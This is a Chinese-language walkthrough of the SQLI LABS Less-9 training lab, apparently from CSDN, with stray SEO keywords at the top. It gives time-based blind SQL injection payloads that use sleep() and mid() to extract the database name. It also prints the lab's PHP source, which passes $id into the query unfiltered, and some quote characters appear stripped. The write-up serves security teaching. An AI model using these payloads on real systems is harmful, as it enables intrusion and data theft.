嵊州市建设局网站,做一个公司网站大概要多少钱,维护网站费用怎么做会计凭证,网站建设书籍 知乎关注这个靶场的其它相关笔记#xff1a;SQLI LABS —— 靶场笔记合集-CSDN博客 0x01#xff1a;过关流程
输入下面的链接进入靶场#xff08;如果你的地址和我不一样#xff0c;按照你本地的环境来#xff09;#xff1a; http://localhost/sqli-labs/Less-9/ 靶场提示 … 关注这个靶场的其它相关笔记SQLI LABS —— 靶场笔记合集-CSDN博客 0x01过关流程
输入下面的链接进入靶场如果你的地址和我不一样按照你本地的环境来 http://localhost/sqli-labs/Less-9/ 靶场提示 Please input the ID as parameter with numeric value 要我们输入一个数字型的 ID 作为参数进行查询那我们就按它的意思传入 id 看看网页返回的结果 可以看到服务器返回了 You are in...........似乎是认可了我们的操作但是我们并没有获得什么有效的信息。此时我们可以再输入几个数据进行测试 测试 Payload 01: ?id1 # 结果: You are in...........测试 Payload 02: ?id2 # 结果: You are in...........测试 Payload 03: ?id2-1 # 结果: You are in...........测试 Payload 04: ?id1 # 结果: You are in...........测试 Payload 05: ?id1 # 结果: You are in...........
如上我们一共测试了 5 个 Payload后端返回的一直都是 You are in...........此时我们需要分析一下了。后端常用的 SQL 注入模板中闭合符号一般是 与 只要我们的 Payload 能够逃逸出这两种符号后端返回的内容多少都会有些异常的。但是从上面的五组 Payload 来看后端返回的都是一样的数据。如此会有两种情况 目标后端过滤的很好我们测试的 Payload 都没有成功逃逸出目标的过滤。 目标后端过滤的不好它执行了我们传递给它的参数但是它通过回显欺骗了我们。
这里笔者更倾向第二种毕竟要是第一种的话就测不下去啦。面对这种回显都一样的情况我们可以采用时间盲注下面是测试的 Payload时间盲注的 Payload 需要完美闭合才有用哦 测试 Payload 01: ?id1 and sleep(5) -- # 响应时间: 11ms测试 Payload 02: ?id1 and sleep(5) -- # 响应时间: 5.04s 可以看到当我们传递 Payload 02 给服务器后端时服务器的响应时间明显不正常。根据我们测试的 Payload我们可以推测出目标后端的 SQL 模板如下 select username,password from users where id$_GET[id] LIMIT 0,1;
根据上面的 SQL 模板我们可以构造如下 Payload 对目标发起攻击使用[[0x0304BSQL 注入 —— 时间盲注|时间盲注]] -- 获取当前服务器正在使用的数据库的名称的长度攻击 Payload: ?id1 and sleep(if(length(database())1,5,0)) --笔者备注: 当响应时间 5s 时证明猜测正确否则猜测错误-- 以下是攻击成功的 Payload 的示例Payload - 猜测目标数据库名长度: ?id1 and sleep(if(length(database())8,5,0)) --Payload - 获取数据库第一个字符: ?id1 and sleep(if(mid(database(),1,1)s,5,0)) --Payload - 获取数据库第二个字符: ?id1 and sleep(if(mid(database(),2,1)e,5,0)) --.... 可以看到我们已经成功获取了当前站点使用的后端数据库的信息。至此Less-9 GET-Blind-Time based-Single Quotes 成功过关。
0x02源码分析
下面是 SQLI LABS Less-9 GET-Blind-Time based-Single Quotes 后端的部分源码以及笔者做的笔记
?php//including the Mysql connect parameters.include(../sql-connections/sqli-connect.php); // 获取数据库连接函数error_reporting(0);// take the variablesif (isset($_GET[id])) {$id $_GET[id];//logging the connection parameters to a file for analysis.$fp fopen(result.txt, a);fwrite($fp, ID: . $id . \n);fclose($fp);// connectivity $sql SELECT * FROM users WHERE id$id LIMIT 0,1; // 服务器后端实际执行的 SQL 语句因为没有过滤虽然无回显但通过时间盲注还是能发现$result mysqli_query($con1, $sql);$row mysqli_fetch_array($result, MYSQLI_BOTH);if ($row) { // 如果查询到结果输出 You are in .....echo font size5 color#FFFF00;echo You are in...........;echo br;echo /font;} else { // 如果没有查询到结果也输出 You are in .......echo font size5 color#FFFF00;echo You are in...........;//print_r(mysqli_error($con1));//echo You have an error in your SQL syntax;echo /br/font;echo font color #0000ff font size 3;}} else {echo Please input the ID as parameter with numeric value;}?